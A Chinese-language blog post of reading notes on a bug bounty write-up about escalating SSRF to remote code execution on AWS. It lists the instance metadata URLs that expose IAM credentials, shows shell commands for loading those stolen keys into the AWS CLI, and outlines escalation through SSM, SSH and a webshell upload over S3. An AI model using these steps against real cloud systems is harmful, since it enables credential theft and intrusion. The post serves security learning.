Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

【Bug Bounty 阅读笔记】【Synack】 Using AWS Metadata API to escalate SSRF to RCE

wpadmin~March 18, 2019 /InfoSec

Contents

Using AWS Metadata API to escalate SSRF to RCE

笔记

头像、富媒体文本编辑器等 需要外链图片的功能点 容易产生 SSRF 的问题。
AWS 的 HTTP 响应特征头 X-Amz-Cf-Id

AWS Metadata API

此外在提升到 RCE 的过程中,和另一个 [SSRF] 的漏洞十分相似,都用到了云环境的 Metadata API。
(不知道阿里云有没有类似的机制)

基本 Metadata 信息
http://169.254.169.254/latest/meta-data/

查看 RBAC 授权角色
http://169.254.169.254/latest/meta-data/iam/security-credentials/

获取 AccessKeyId, SecretAccessKey, Token
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/

获取 instanceId, accountId, region
http://169.254.169.254/latest/dynamic/instance-identity/document/

获取 userid

~# apt install awscli

~# export AWS_ACCESS_KEY_ID=AccessKeyId
~# export AWS_SECRET_ACCESS_KEY=SecretAccessKey
~# export AWS_DEFAULT_REGION=region
~# export AWS_SESSION_TOKEN=Token
~# aws sts get-caller-identity

SSRF 2 RCE

1 Escalating via [ssm send-command]
2 Escalating via [SSH] 尝试 ssrf 引导 http 请求访问本地 (localhost) 的 22 端口尝试连接 ssh,并且使用密钥对校验的模式。
3 Escalating via [Uploading Backdoor] 上传后门提升权限

方法一 所在的用户组没有 AWS Systems Manager [ssm] 的权限。
( OOB/out-of-band 带回结果的操作也比较漂亮)
方法二 也并没有成功。
最终是通过 使用 s3 协议直接上传 webshell 到目标主机来实现 RCE 。

这些提权操作相当依赖攻击者对目标云环境的熟悉程度,能充分应用 云环境 中的基础设施。

参考资料

1 Escalating SSRF to RCE
https://generaleg0x01.com/2019/03/10/escalating-ssrf-to-rce/

2 Bug Bounty:从SSRF到RCE (阿里安全响应中心 微信公众号 2019年3月18日)
link

Leave a Reply

Your email address will not be published. Required fields are marked *